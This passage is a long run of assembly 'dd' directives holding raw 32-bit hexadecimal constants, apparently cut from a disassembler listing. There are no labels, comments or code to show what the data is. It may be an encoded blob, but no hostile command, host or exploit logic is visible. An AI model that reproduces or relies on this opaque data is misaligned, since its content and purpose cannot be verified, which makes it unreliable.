		dd 12F30BBBh, 4CC8D015h, 6F0093B1h, 0FC9B4A87h,	7CA92D0Dh
		dd 92C20582h, 419ACB85h, 0FEB1D388h, 0FCA6CD4Ah, 5C660894h
		dd 213608h, 0FCD5ED73h,	88E08CD6h, 92D40C00h, 0FA1A81B8h
		dd 0E45E0EFDh, 0DB637F17h, 0D8E0B2BCh, 6C620BEBh, 40CEA018h
		dd 0CF43E90h, 81B7644Dh, 2F063359h, 99E6F2BCh, 0D67D0011h
		dd 0A31A9354h, 12399FB4h, 5891F40Bh, 5425D400h,	0AC6C63h
		dd 42023D69h, 0D87B273Ch, 0A9B86A54h, 0BE00B572h, 0F8293F9Fh
		dd 63BD2C80h, 0E4F0B009h, 414D78C0h, 8E3FC40Ah,	0AE8888EEh
		dd 0FC2C60D0h, 5E21CBBBh, 529168h, 0ABD54DDAh, 1D7B144Ch
		dd 0C03368B5h, 862920FAh, 0B03881A4h, 0F7800719h, 46FF9217h
		dd 79A1B3DCh, 0AB540059h, 48C193FBh, 0C674DAE8h, 0A221A460h
		dd 0B75475h, 7F623FFDh,	17AD2015h, 9881B928h, 57E5460Ah
		dd 1C1DA47Bh, 476FD047h, 181443B0h, 3852C1Dh, 0A15B00F5h
		dd 0CEE1987Dh, 0A60071E4h, 76D12EBCh, 0F1586Dh,	0CDE61074h
		dd 775BFB7Eh, 0DE0CC00h, 0B07DF51Dh, 321C1E69h,	0FCD1C327h
		dd 11B0DD2Ch, 0D383106h, 16BD45h, 39CD1E5Eh, 2DA2D38h
		dd 0DE4B3227h, 209EBBA1h, 44C61810h, 0E4F81DDh,	80D04B6Fh
		dd 83592F30h, 7BE2441h,	66CD5B99h, 2175469Fh, 0EBB89800h
		dd 0F390BA31h, 5A7C013Eh, 4F6E8FC4h, 302448FDh,	24468308h
		dd 0CAD3C2D6h, 0EBB78100h, 0D1ED00ACh, 133D8384h, 0E13DACEh
		dd 500AFD3h, 0CCE988DEh, 0B7C70034h, 3DB39043h,	27EC281Ah
		dd 12D04F00h, 152F0A52h, 262B075Dh, 462A05BDh, 6B1F219Fh
		dd 0CE000AEAh, 0BD38BA6Eh, 0B87C00DCh, 43582A47h, 0EB02DB54h
		dd 0E527334Fh, 80609F51h, 912A17C6h, 831D1031h,	0FD5E2BA1h
		dd 6D8AE69Dh, 5103ECE0h, 34DA23Eh, 29760958h, 10E64F4Ah
		dd 0E6888716h, 2BE97507h, 851EC545h, 0E215E18h,	51DD0011h
		dd 0BC9C5395h, 6D4872DEh, 0C1670C20h, 0A538E956h, 604EE48Ch
		dd 18B59C85h, 18ABA1EEh, 6A2AAC51h, 6F7A8048h, 4C586C1Eh
		dd 518E705h, 6033F1C0h,	0A1260E24h, 0FB80F412h,	5E803C32h
		dd 0A4C77500h, 60185DD6h, 6F74A502h, 8634FA8h, 510BF036h
		dd 0C9D70041h, 7783DCB4h, 0D87B606Dh, 52C5D4A0h, 0CD56F300h
		dd 0B031FF61h, 819F4E7Eh, 0EC44B530h, 0FD128DF4h, 18081F16h
		dd 0AF9C01Dh, 95461558h, 70D4E610h, 0EF0A7100h,	421F4D80h
		dd 372707D6h, 218FB34Ah, 83451654h, 0C45DD2D0h,	4F901E46h
		dd 17A4E7h, 0F5EB1298h,	0A150EFCBh, 0E001329Ch,	914A3DD6h
		dd 0B42055D4h, 8A608848h, 98CC6C2Ah, 2A863700h,	6AE899B2h
		dd 0A8E148C3h, 2C30C39h, 24F8EB9Bh, 8E0E1CCEh, 20228352h
		dd 0A34EDA44h, 82FF3A33h, 970041EBh, 384B24CAh,	0DF7F5200h
		dd 117D07C6h, 46020031h, 0A0C93261h, 0D9C0437Ah, 87B19694h
		dd 14C407B2h, 0A0991F3Bh, 0E0F14A42h, 9E280390h, 8858B8EAh
		dd 5774078Bh, 8282693Bh, 512C6133h, 83E46049h, 0B62410F2h
		dd 2174CC9Eh, 0D10B008Dh, 0C4935AF5h, 41FA76ABh, 90F04C92h
		dd 2484306h, 31A56Eh, 5FA63ED6h, 63C4DD3Fh, 0BD889E0Fh
		dd 0AC0CE3E3h, 80D0D4F2h, 5FE14Fh, 47D67CA1h, 868842E5h
		dd 0AFF7F80Ch, 420100Eh, 38BE5FD8h, 11A88CB8h, 0A5D178Ch
		dd 1C3A1554h, 3DE884h, 710A952Ch, 0D29400EAh, 0B516CB0Eh
		dd 41C05B29h, 3F2FFEC3h, 656A00C4h, 0FFEA5813h,	0F80C0EEBh
		dd 29422212h, 847615h, 0BD58E303h, 1BE48539h, 0B888F60Fh
		dd 0C0498074h, 4CCA98DEh, 0D2029BE5h, 0DD1E42FBh, 0C24FC440h
		dd 557CBBB0h, 22960D14h, 89560360h, 90BB6104h, 1D6074Ch
		dd 9DD946Ch, 21E24171h,	0E457E500h, 5114E3AAh, 0DCDC60A0h
		dd 24478342h, 8A001C2Eh, 853EEBB6h, 48864FC3h, 42808CC5h
		dd 0B86D3C04h, 224E3D00h, 136CDFCBh, 7216127Dh,	23102F6Eh
		dd 0F8400075h, 3721F744h, 5C7D3C07h, 0A1C95066h, 0C590C354h
		dd 73C2FC48h, 81D603A9h, 5FC4F803h, 0DB359900h,	0C2857872h
		dd 46E40004h, 5DC8B184h, 0C31828CBh, 50283D1Fh,	43A60995h
		dd 0DC84B88Bh, 0DC13609Ah, 116D10A8h, 8259C82Ch, 92DD1D61h
		dd 3E056A60h, 8BEA50C0h, 7F55340h, 34EE6488h, 2A80D05Dh
		dd 24189C59h, 32C939FDh, 0CF6412A7h, 383049E7h,	9F886497h
		dd 7D306027h, 90907A6h,	865AFDB5h, 3A14534h, 30247BA7h
		dd 100A7633h, 9C28CEB6h, 1AD6C380h, 16FDFC07h, 22518C88h
		dd 0D8B00290h, 9E81EB7Dh, 0B4884818h, 0C3EB07ACh, 50885815h
		dd 0A2FB34C9h, 2186A4Ch, 4E9DCAE9h, 0AB64C1A6h,	5BE00E15h
		dd 0EFC6C20h, 0AA15F351h, 14C82675h, 0D870D0h, 4DF4DA65h
		dd 70AC22B0h, 60290F6h,	67BCC741h, 0E700E85Fh, 9732CCBFh
		dd 0D0C478h, 0AD4065FFh, 4FF7D6D1h, 42129D7Ch, 0EC2046F0h
		dd 0DDE7ABh, 0B0760811h, 0E8BB3798h, 0A070F600h, 571D861h
		dd 1ABB0C9h, 0CBF0D3D6h, 625AB0D2h, 8ACF00BCh, 0E2F3177Dh
		dd 736F0062h, 0C57B97D5h, 72031930h, 0E6661604h, 0A7A4A1B1h
		dd 504241E0h, 6EC840h, 0CAE0E5B6h, 38032DF4h, 43F248h
		dd 2F33BF78h, 0D8D750h,	149B621h, 10BCF415h, 40971905h
		dd 0B800CBC4h, 0B8264DCFh, 83CA0146h, 9872238Dh, 9DE0C478h
		dd 7F4EAB00h, 0A6EFF60Ch, 4D863D7Eh, 805AEA9Bh,	7DFDDBE0h
		dd 43E85BF2h, 37E6F503h, 90023624h, 93C24Ah, 0A6EA779Ch
		dd 120BCE7Ch, 90491800h, 34F4540h, 8ACB006Eh, 0DADEC85Dh
		dd 1A0060BCh, 0B9B8FB95h, 0C6CC61h, 6DDF17F0h, 0CD747F3Ah
		dd 58FD3B00h, 7C4A3FDBh, 464F1DC9h, 0D480C786h,	0ABF881D8h
		dd 88EAE745h, 164AD840h, 70074EE2h, 0D89D3CCEh,	90F269FFh
		dd 0C9C4D4Ch, 497BCCF9h, 8E01F4C0h, 0DA700B6Eh,	0C0407DA4h
		dd 2530D63h, 0E0186F35h, 6009048h, 0EF9221h, 0E975ED33h
		dd 57FD8AB9h, 0B1950B0Dh
		dd 6DE48099h, 0BEC0C00Dh, 0CF15FC3Ch, 9B5B7A00h, 6A8DE8A2h
		dd 0A6670093h, 1A2B99F1h, 5401987Dh, 6B641D03h,	2FF41325h
		dd 0ED77D3Ah, 2394DCCEh, 88FE18A4h, 0E700AAE0h,	64BEC833h
		dd 0F74885Bh, 0DAB0DCA4h, 0FBE002CEh, 0A517AB90h, 78ACFCF1h
		dd 202D2324h, 9D0610A4h, 2413062h, 7F746E15h, 404068B4h
		dd 0E501BCF0h, 8D1A0EBh, 32201ACFh, 0CA6C0090h,	0C664B0F5h
		dd 0F904EFA6h, 0F441FE5Bh, 0C82E0080h, 6C010006h, 472919DBh
		dd 0D7138669h, 3700E848h, 79F6A0A3h, 3D409250h,	0B480E58Ah
		dd 0ED036CBCh, 0C13DC3B0h, 80A4BE10h, 0DE5273FCh, 77237434h
		dd 0B4300E8h, 404D0D8Dh, 5A78CE30h, 77564A07h, 1B20292Ch
		dd 0CE12E2DBh, 9424EC40h, 30F8B06Bh, 50EE0100h,	39C8A963h
		dd 0F5AA00FDh, 64DC5DE8h, 469086E4h, 3A2428E8h,	5B84203Bh
		dd 0E4C2F229h, 0E6B530A0h, 816DBA08h, 4DE86E3Dh, 0DD07E700h
		dd 0E85677h, 0F2982F3Bh, 64AF7F5Eh, 4C5F8B26h, 4A118CA4h
		dd 555C4500h, 0A88909DAh, 0D8424700h, 0F9B96916h, 0EF77133Dh
		dd 0F0B44027h, 0C2508FA6h, 433B790Ch, 0B20409C3h, 0C100918h
		dd 0CC0EB785h, 1DE6FCA0h, 5B180FB6h, 99C14E3Fh,	0D5E207B3h
		dd 618AC0A2h, 6327A83Dh, 0AFC0214h, 1CED1559h, 0D347900h
		dd 0B4636A61h, 2C19505Ah, 0F32E0F72h, 9E029C2h,	39CA64B8h
		dd 0DDD5941Bh, 9DA4A8C0h, 0DBDA27BCh, 4F06800h,	4258950Eh
		dd 883D2AC2h, 61F66800h, 0C7582A22h, 857C3C5Ch,	79D6D24h
		dd 93CFBA2Fh, 2028F1F4h, 714EAD0h, 0E020DAADh, 865EA1C9h
		dd 0AD760215h, 0DC1480E8h, 8C88C353h, 1A96A894h, 6CAACC01h
		dd 7C304565h, 0B7F0A09h, 9DE0406Fh, 16E7C026h, 0FEB86854h
		dd 0F3DCCC00h, 0BACE9549h, 0D2250CE5h, 4D51A330h, 74B5B600h
		dd 0C9FA664h, 63C1007Dh, 0C759E1C8h, 60B053C5h,	6604D0A1h
		dd 0AF801E0h, 2A0D157Dh, 0FDA12828h, 18AAF410h,	9267B900h
		dd 0CAC4663Ch, 0D7E28032h, 0F8F7C876h, 0EF005E3Fh, 2F151D9Dh
		dd 0F1D178h, 3404B257h,	0D3E6CCEDh, 946D7729h, 0D31873D1h
		dd 6EFB900h, 27AE66Bh, 13C61CB5h, 0B47C4B6Dh, 8D00C88h
		dd 0D91E4ED5h, 6CA61E82h, 2A64E46Dh, 0AC416Fh, 0ADD18F1Bh
		dd 72B4C2E8h, 47982160h, 17B9FE16h, 3A27DA20h, 0F3C2374h
		dd 0A781B168h, 80502D97h, 0E8DED748h, 75BE717h,	62C340F7h
		dd 0A8556646h, 0A63DA203h, 74DFB51h, 0D77DF510h, 16A3E37Fh
		dd 0D90460F7h, 0C50057E6h, 0B30D9C69h, 0FBE9755h, 5ECEFA29h
		dd 3626FDh, 0F3F1C446h,	0BF00D714h, 0A2A594ABh,	0D34249h
		dd 0B674936Fh, 951D028Ah, 9D39C400h, 31309112h,	0D8520096h
		dd 0B03B24C2h, 751CFE11h, 34802E95h, 0EB058346h, 63ED001Bh
		dd 85EC4F77h, 0D774D371h, 0FFCA4050h, 0BEB0270Eh, 6411C043h
		dd 0C517B2h, 304D6D41h,	1440F2BAh, 39628F06h, 43088E1Bh
		dd 6704FFB0h, 6AA415D1h, 381F8EECh, 0BD077BB3h,	41108972h
		dd 7225F2D4h, 0B27DB9h,	8F510635h, 7C7DEA6Fh, 1B64A67Bh
		dd 3C21E629h, 0E9A31134h, 8B07C410h, 88238A80h,	1C40E18Ch
		dd 0D2EC44A7h, 7E518865h, 0F8841404h, 4AEF7B44h, 42085096h
		dd 438A842Ch, 143F0A1Eh, 946FBD08h, 0CD112836h,	87321F4h
		dd 1A9422B3h, 6B920814h, 78F71419h, 281AEC11h, 0D03148Eh
		dd 0CF2FE270h, 6B5AF05Ch, 58E60050h, 0D68A28BCh, 7A3F78F0h
		dd 0C6321E53h, 0C9777F80h, 2E4E38EAh, 0B10EBAh,	0AE7C85CEh
		dd 0ED002B6Eh, 0FE260BD1h, 3E948DD8h, 0BC001CF3h, 85CC3775h
		dd 3F00C304h, 8762A6EEh, 6B5E16h, 2FEB8FA7h, 0DE571E0h
		dd 0A6002372h, 0EFA28642h, 77AA0F1h, 68ACF3E6h,	0A301703Eh
		dd 521D810Fh, 57D87823h, 0E1E011h, 2054D858h, 0DB89766h
		dd 0B7F28C00h, 0C74042F7h, 0B462001Dh, 0B5F9838Bh, 3200BDF6h
		dd 43A87744h, 0E0AD6A4h, 11CFF813h, 30011472h, 70401C00h
		dd 0A8B9E1E8h, 0C792EB06h, 5FA4817h, 0DA3DCE72h, 6DC580B6h
		dd 3A029AA2h, 810D3193h, 49FC57A4h, 0EFC1DA1Eh,	855DEE6h
		dd 0EB57EC0h, 3E4E7B2Dh, 0DDDF0180h, 89127697h,	680F1E59h
		dd 0ADA78714h, 53BE80E9h, 4D23486h, 0EBCA9B48h,	0DEFAC004h
		dd 0EA1759C4h, 9800DDA0h, 22AF31A4h, 76027E38h,	0FA5B041h
		dd 72F2144Ch, 0D3CF5580h, 0AC0E96F3h, 0A01BB976h, 0FC3D2AB6h
		dd 8FB4A00Fh, 0E33E0001h, 22E5F5C9h, 2A057A83h,	66139ACDh
		dd 45C02087h, 0AB107EBh, 3A7DB35Bh, 0FDE3008Fh,	0B9FBBCCBh
		dd 0C3CCD8C0h, 0E764F5h, 18760752h, 294E48C5h, 23D7A903h
		dd 0C0E9B2D2h, 2B0B66h,	15030F76h, 73C531E0h, 980320FCh
		dd 3BBE9A7Ah, 6E7FB86Dh, 0B7F028A6h, 5A3900D3h,	0B6657944h
		dd 3BF41B8Eh, 19D03800h, 0EA76500Ah, 5BC20021h,	0C409AF05h
		dd 7400BDEFh, 548610A2h, 0CCAAB71h, 0CD62F8B7h,	0BD00D692h
		dd 0CCFD59AFh, 9A0F88h,	0A5C93B4h, 273F6A26h, 0F5106100h
		dd 146686EEh, 75BA01ECh, 727AC9C5h, 0F7FCD0D2h,	0F224B800h
		dd 87CC6230h, 0D76400CDh, 0E5DAEBA7h, 0BC004DA2h, 2633ED5Ah
		dd 0B1057Bh, 76A47A8Dh,	0FAA8BBF2h, 4AD69900h, 0ABC1732Ah
		dd 0E0420719h, 1193A64Eh, 80F98698h, 29D3CA28h,	0ECD53433h
		dd 6BF71211h, 145400A1h, 0DB61013Ah, 51FCAC50h,	6606BB01h
		dd 116298A9h, 0E31BFCh,	64AB5949h, 0E667FB3Dh, 22E9638h
		dd 0AFD55812h, 0DF72E07Dh, 0C0BE005Eh, 40D77161h, 401E2AAh
		dd 0AC8E177Fh, 92DC07ECh, 0CF7D0F5Fh, 8434013Fh, 1569EF07h
		dd 0E444E08Bh, 4500A448h, 27B46511h, 1E62353Ch,	40E5AC21h
		dd 94E8496Fh, 9C3BA672h, 271600C2h, 2A83A17Eh, 78FC000Ah
		dd 7C56B3C8h, 0F800694Fh, 6715EEFAh, 4CDE7F9Bh,	0FD00A1BEh
		dd 0D354067Ah, 0D5001D2Bh, 520366F8h, 786EC7Ch,	6D837289h
		dd 0B6E2F0B9h, 0A87910D1h, 82467101h, 0D938AD4Ah, 2414F4h
		dd 9B979364h, 0FF2F61B1h, 92B81700h, 7FECC648h,	0A36B00D6h
		dd 77E68B33h, 2F070AD3h, 0C174379h, 7A949AA0h, 0D4F200E8h
		dd 0DE7336ACh, 303B2C8Ah, 818481D3h, 62887C49h,	5C196D30h
		dd 0FE009193h, 780AF061h, 0F74881EAh, 870600A8h, 3D5610AAh
		dd 0F07400E3h, 5CEB576Dh, 7E00BCFEh, 0CABA48F3h, 0A1EC46Eh
		dd 0B6DE3D9Bh, 0A0450CFEh, 2E00AB56h, 1243A7D1h, 0F19DCB7h
		dd 0FE3A1AD0h, 697A8C40h, 3F0013E6h, 6559C8F5h,	554AFAEh
		dd 50AAF77Ch, 6BD0C3E4h, 1A0EF5E0h, 6F007972h, 0A983B047h
		dd 1C744D03h, 40A65CCCh, 0DDC38D0Ah, 0C0907378h, 8F7F7B00h
		dd 319C3CC6h, 0F8E990ADh, 34F100C7h, 0B4FD2188h, 0C903DE14h
		dd 0F516B1A9h, 0BCA4D88Ah, 93EE00E9h, 3D99627Dh, 0A8004B1Ah
		dd 1DD677B2h, 3CAA2637h, 0B854E47Fh, 159A04C2h,	80C4C150h
		dd 1B953CAEh, 3891D700h, 0CAD44F9Dh, 7E578A0h, 2855A51h
		dd 316C7077h, 0B203F7B4h, 9F40D4Dh, 0FCBB095h, 0AD3200F0h
		dd 21711A39h, 1203D617h, 6C9774C6h, 0B6F5805Fh,	45729Ch
		dd 0B1BC9965h, 7F3CAAC8h, 0A7B77000h, 39C2194Eh, 73F3006Eh
		dd 0A293905Ah, 770120C3h, 1ED12381h, 0B9C81968h, 0E827004Dh
		dd 9DABB9Ch, 0BC3B3F76h, 0F83D8025h, 0D8C7D671h, 9FFB0007h
		dd 0B77B5034h, 1FFC857Ah, 750AA300h, 0B36BE166h, 156148C3h
		dd 0C28D561Eh, 5EA8FAE6h, 0A042E940h, 0AD54C400h, 463257ABh
		dd 87DE011Ch, 8565AAB3h, 154EF4D7h, 0D60E7F12h,	9716E500h
		dd 79A8490h, 61A50F24h
		dd 8C1E50D1h, 0B105C415h, 0F35C9BC6h, 0C2DE0080h, 8597003Dh
		dd 0E7E99088h, 0D60FD16Ah, 0EE063EA0h, 71BC003Bh, 74D96323h
		dd 0B47700AFh, 6B18968Fh, 24003D3Ah, 978D82B7h,	0F33800Eh
		dd 6058AB4Dh, 3AC8B8E0h, 0C50792E3h, 3EF41554h,	839F4DB0h
		dd 57AF008Eh, 0F549B17Ch, 18F6DEFBh, 216D2500h,	1C36E834h
		dd 0F915502Ah, 23F0179Ch, 0AE6000F1h, 6034E542h, 4D500100h
		dd 0EABE9228h, 4FF04CC4h, 0CBC7EB00h, 42A3692Dh, 63E0021Fh
		dd 6068E38Fh, 216CD4ACh, 893701DFh, 8D366212h, 774EC8B7h
		dd 0E42EFD03h, 0C07F69ADh, 0EE188A73h, 80E600A2h, 0E0C0D18Bh
		dd 68007876h, 8763A354h, 0C82956Ch, 2F93C84Bh, 0AF039B32h
		dd 815F9446h, 0BA20002Ah, 5D4C8D27h, 5607A977h,	3BF89706h
		dd 0F7C9A07Fh, 0ABE2C5h, 0F964EBCEh, 42985855h,	306DFCF9h
		dd 0FB00E090h, 97812C23h, 1CBB7B72h, 0C084BEA1h, 0A28EB7AAh
		dd 5006C95h, 1F6EA811h,	0FB4DE51h, 8AF83C6h, 8A80B76Eh
		dd 0C707346Ch, 0F8FDFCA0h, 0C872A91Fh, 0E83ED9C0h, 70D85A9Ah
		dd 21530037h, 9DECEFA1h, 2A00C239h, 628A945h, 0B096111h
		dd 0C8CEFACFh, 0B7CC5900h, 0FB00750Dh, 0CDEE1073h, 34A076h
		dd 0ACB49926h, 792BDCEFh, 0FCB8D807h, 0C460887Bh, 0F516515h
		dd 24F2FAB7h, 3C483660h, 91000CDFh, 0FCBA8EFFh,	379BE0h
		dd 0CC21203Fh, 0C06C82A3h, 1D5F4Ch, 5AE19E1Bh, 1FF487C8h
		dd 806130BDh, 6A56096Ch, 65003C8Ah, 8515502Ch, 1D72259Ch
		dd 0C05C488Eh, 61DC79C8h, 28009A94h, 0F470300Dh, 7EC2B7h
		dd 1205DFE7h, 18EB31CCh, 78FC69E0h, 0B5BE9D00h,	3CFC082Ah
		dd 49DC0012h, 973AFB01h, 0A7039275h, 62F32E77h,	3C5EE8D2h
		dd 246000DDh, 7C96DB31h, 8F018D52h, 8E74EECDh, 0AA304AE5h
		dd 3DB61FE9h, 153A4006h, 0E2337C4Eh, 2D491D00h,	0A11CF3C4h
		dd 0FB0B055Ch, 80186377h, 9505C28Ch, 276D724h, 1FBD3E1Ch
		dd 0D1800C51h, 0ED3AA2F8h, 6EB31EEAh, 5F003952h, 0AE0BB6A7h
		dd 65000E10h, 87B9BA42h, 4C8DF7C7h, 0DE003459h,	9BC3B54h
		dd 9E0FB366h, 61E8D8ABh, 45FDBFB2h, 7E93DFh, 0FA715990h
		dd 0AC55F47Bh, 67F96309h, 46D8804Fh, 0DB12E08h,	0CDB70AE3h
		dd 1572D090h, 0ED408F78h, 43E0059h, 80717D4Fh, 0E600D060h
		dd 5ACD8D5Fh, 138E73h, 427990DFh, 16EB75B2h, 0F420D100h
		dd 892BD2E4h, 984F0044h, 0CA64459Bh, 460EB661h,	0C320BD6Eh
		dd 0C8CBA934h, 7EBA078h, 79266B5h, 8B57D096h, 0FA0026BFh
		dd 3D7BBD28h, 5CFC050Ch, 613F5B35h, 0AD9F6780h,	0AB682EAFh
		dd 6A19DD00h, 36A9B118h, 64A10037h, 0DC4689DFh,	97E4966Eh
		dd 659C7C50h, 1CCA7300h, 0D22D53ADh, 0EF9000D1h, 39C7BA1Fh
		dd 0A7008DD6h, 166920ECh, 3C6535h, 0BF71E580h, 0A47BDC22h
		dd 731E0899h, 56D2D082h, 5D0602Fh, 0DC7F0109h, 4DFE329Bh
		dd 818047FDh, 0E01B02A4h, 22499786h, 76990408h,	289072A3h
		dd 0B89A38h, 302823D2h,	0DB24FF44h, 0F15E3B00h,	0DC58C8DEh
		dd 87070179h, 0A02CACDDh, 4EBDB4Ch, 7A98EAC3h, 96003FF4h
		dd 0B9058699h, 0EB2D25Eh, 0FAB4338Ch, 0B519095Dh, 0E3131C00h
		dd 0AC006ED3h, 3DF7B9D6h, 3F621FD7h, 1102245Ch,	74180533h
		dd 39BD2D00h, 1C94FE6Fh, 808734BCh, 3AE0B6CAh, 831E3852h
		dd 4040DE90h, 7E4162A8h, 56D10151h, 12C4B967h, 0B2F98B8Bh
		dd 0ACF38094h, 85D54Ah,	0AE398CA3h, 4CC019CEh, 0A0A12E00h
		dd 0AB135DDCh, 41D4A87Dh, 0BBD0A954h, 68A5C840h, 124AEE3Ch
		dd 24EEE2h, 4EDA3EA0h, 0A303E982h, 0B6C26190h, 97CFC055h
		dd 0D14900D8h, 13E37FB3h, 7928BEF9h, 4110D42Ah,	0A848284Fh
		dd 82AC1C00h, 16DF8121h, 3D132300h, 0FE779F31h,	357E00DDh
		dd 68A13BE6h, 2800A56Fh, 0B4E050D4h, 921A4Bh, 0F644E72Ah
		dd 9A3BEA58h, 821D8AFAh, 6B40BA68h, 9C235E96h, 8DE600F9h
		dd 0BEB21CBBh, 44092639h, 80C1526Ah, 7CFB5A30h,	18D64869h
		dd 7DE77500h, 0FF7CF12h, 0D0027E18h, 1CBFAB18h,	0C03A8524h
		dd 0E2A2C168h, 7F002286h, 86B1FEEh, 1FCF3816h, 0C1B4A3FFh
		dd 0BDCC4445h, 0CB03055h, 8C49A00h, 288E361Bh, 0D4EC0FB2h
		dd 4840DA35h, 1175B1FEh, 0DCA16A03h, 8A20B509h,	9DC48051h
		dd 34C98h, 78DEFC5Fh, 2483D88h,	0AAD0F000h, 0D1534FFDh
		dd 0FEDA00EBh, 676F0A56h, 0C83E3966h, 5526804Eh, 6540D890h
		dd 0A8A95CAFh, 0C40C2Ah, 0C549C6BDh, 9A0DB2C8h,	801C2601h
		dd 483AA1B0h, 0E83FABD0h, 0C6AD1FF4h, 47B34015h, 0CDE49ADEh
		dd 8254A802h, 60414377h, 686C05DCh, 9C5B058h, 55006BADh
		dd 229E12ABh, 176D5F00h, 59A31910h, 309200AAh, 0A7291FD9h
		dd 57092BBBh, 80F7CEA4h, 6583E3DCh, 0A0DD00BDh,	0E5FA52A6h
		dd 0BE26126Ah, 4A00901Eh, 0C670DF02h, 0FD19805Dh, 14917500h
		dd 105FDE74h, 0ECF650E6h, 6C751Ah, 0A3C28697h, 1815E7B7h
		dd 0A8097900h, 69B5379Ch, 16FD2ECBh, 1D95045Ch,	1ABC80D3h
		dd 0D4778029h, 47BE8C00h, 0BFB55839h, 63D103A1h, 36EF3526h
		dd 6EEADD8h, 7638C200h,	0EBF0EC05h, 0BE460392h,	85AEE515h
		dd 30C8DBF1h, 5051D6FFh, 0A7E26094h, 7C3694A0h,	3AC7CF1Dh
		dd 0FBFCD180h, 1378CDB6h, 21741C96h, 0F0E7E6ECh, 8D014FFEh
		dd 2F3C8833h, 25C0466Fh, 5ABB00B5h, 4D545387h, 6770B4B0h
		dd 86D63300h, 5EAC5295h, 14E03E99h, 50638A83h, 73A8EC51h
		dd 4F006065h, 0E5B7C70Eh, 3A6D909h, 0E92F8C38h,	14A99519h
		dd 0F5E85178h, 0C36862C0h, 74E8A96h, 81B2B311h,	0C6C1013Ah
		dd 0EF98D76Dh, 0B73C1F66h, 0E7BD80F7h, 420287A8h, 0C3550986h
		dd 1D80A5FDh, 0FF0E923Ah, 0F843341Eh, 77E4A200h, 833DC0h
		dd 88B06A26h, 0B8AAA950h, 565AF004h, 0C8C0DC95h, 0ACF125h
		dd 0E9659FD9h, 6499A846h, 0DFEA507h, 7880EB60h,	24877A52h
		dd 5E04A48h, 83F75022h,	16A0658Ch, 0F200E2AFh, 0D546C135h
		dd 90743Bh, 0BACB062Dh,	61243E53h, 0C6D85100h, 0FE20A968h
		dd 0FE6D795Ah, 0C07609h, 0BD4B972Eh, 5D18EDFh, 98A0C677h
		dd 3405A335h, 661A76EBh, 0D07FD980h, 1E1B09EAh,	7CA08472h
		dd 4E2632F3h, 8F6C9207h, 166041D8h, 0EE7EAB6Bh,	1FC97EB6h
		dd 0C9DFC657h, 0D80246C5h, 48C284D5h, 2ACC9C48h, 7AFBDB00h
		dd 0FAC811C5h, 56C4001Dh, 4DD8A793h, 32006DA8h,	2796D789h
		dd 2C3C2A3Bh, 787B20h, 51AFF0E3h, 0E87803FAh, 7000A57Ah
		dd 0FB145713h, 8CD2A2h,	0CA6F521h, 0F6A1CC42h, 7156E097h
		dd 0B5DC005Bh, 4B5AE2CAh, 0EA186713h, 0F258851Ch, 882B0025h
		dd 2430E664h, 7658FB98h, 0F1430087h, 0ABC86C02h, 293A3DDBh
		dd 0B5384BBFh, 2F9FE180h, 0C81566Eh, 0D9944100h, 1EC4C33h
		dd 0FD790FE4h, 74A089D5h, 0B6C64EFBh, 9C7B64F6h, 3BCDA400h
		dd 6C58A3C7h, 0B0780013h, 0AEB7E9D0h, 53E6F151h, 55C6EF00h
		dd 358701Dh, 0C8D9015Eh, 46B44DE9h, 0DBA47018h,	5CA6413Dh
		dd 8211170Ch, 90209C40h, 0CC2EC3h, 9CF1806Bh, 6E714B35h
		dd 0A00029F8h, 7319ACD9h, 0C4661B7Eh, 0C76909D4h, 0A66FA0A4h
		dd 64005AE1h, 2C90A07Bh, 204BD72h, 9E77EC6Eh, 1CE8DA83h
		dd 0B40E2833h, 40257BF8h, 8AF553B9h, 2FCA007Fh,	45A6177h
		dd 872E511Fh, 0D7134E5Fh, 27316D00h, 0FABC02h, 0C30A6418h
		dd 80EE444Bh, 1B9039h, 266D1CF9h, 7B52B3Ah, 0DBF56EA9h
		dd 48A08BDCh, 0B123AA31h
		dd 6F0B0900h, 1EF9DE8Eh, 0C4A30334h, 456790F0h,	1BAE9EF0h
		dd 8096DA3Eh, 57D59B59h, 7973DBh, 950AB3C0h, 31FE30A5h
		dd 56E26B07h, 5D904A7Ah, 90BBBh, 842140B9h, 0D8BFA7FCh
		dd 89537200h, 39A9182Ch, 0CAC0030h, 61976D43h, 0E2050570h
		dd 0B7DC4DBDh, 944294C0h, 1CF100FAh, 442FB171h,	9000099Bh
		dd 5865C524h, 0D29C30h,	0C13E69E9h, 7966230Ch, 0B276F00h
		dd 7CF828C3h, 0C73D3EA1h, 835F1680h, 4D65A552h,	0F0143F4h
		dd 9F2D77DBh, 0FC40994Eh, 1CBFB241h, 85C417CFh,	1F62D8F5h
		dd 33DA4098h, 63AF0F32h, 0F0D5842Ch, 58919E80h,	0C0C9195Bh
		dd 42670E91h, 0CF46145h, 3B0081B0h, 56B3CE40h, 1C91F33h
		dd 5F675EFFh, 0C4F73ABBh, 0F3391BA9h, 8B38009Eh, 0B7B3A54Bh
		dd 4601130Ah, 0CBC20009h, 0BAE2C32Dh, 0C0DF2500h, 0E973E8B1h
		dd 0DB9400A4h, 0B3BCBFD0h, 2D09C167h, 1E59ECh, 0E20E2568h
		dd 0A3151DE9h, 11768093h, 48D7A160h, 0A20D2E00h, 988C7FC6h
		dd 34FD0033h, 730A6B92h, 2F1D527Bh, 62802D28h, 851AE7A6h
		dd 59400081h, 50B46F3Dh, 0E11CAF70h, 0A200BC60h, 19FE4973h
		dd 0DE9900E4h, 649CE27Eh, 0DA00C370h, 679F02D6h, 0DCD12Fh
		dd 9780F1E7h, 1EEDD9DBh, 787AB000h, 45DE48C6h, 41CF039Ah
		dd 81286307h, 53826990h, 2016AA07h, 0FEE1953Bh,	34706561h
		dd 84300E4Ch, 0C3635833h, 22B03F7Eh, 0EE0F4EA7h, 635394F1h
		dd 8064F4AFh, 3083C61h,	3F929E11h, 0BE84D04h, 0F8E9D732h
		dd 0D13A2262h, 0B4838030h, 1C085BBFh, 355900CFh, 73F41FADh
		dd 217FA44h, 0EE00B8AFh, 0EF8EC599h, 58D0B532h,	693C3000h
		dd 27097A3Dh, 862A00D5h, 58C1A161h, 0F30012BBh,	0D08EE30Ch
		dd 108263h, 0DAFC1634h,	6883ACBAh, 0CFC18800h, 0FD2F58D9h
		dd 922600FAh, 0E57D050Dh, 97078AB0h, 0A8DBCA07h, 5CC08170h
		dd 987E0169h, 61254B72h, 404ED1F1h, 0BC30F094h,	990974B8h
		dd 24FD5033h, 7EFA2B6h,	0EF082E3Dh, 0C7EF8E4Fh,	48580320h
		dd 240071C2h, 830FCB11h, 6BF888Ah, 0BCA328E9h, 0A0179D3h
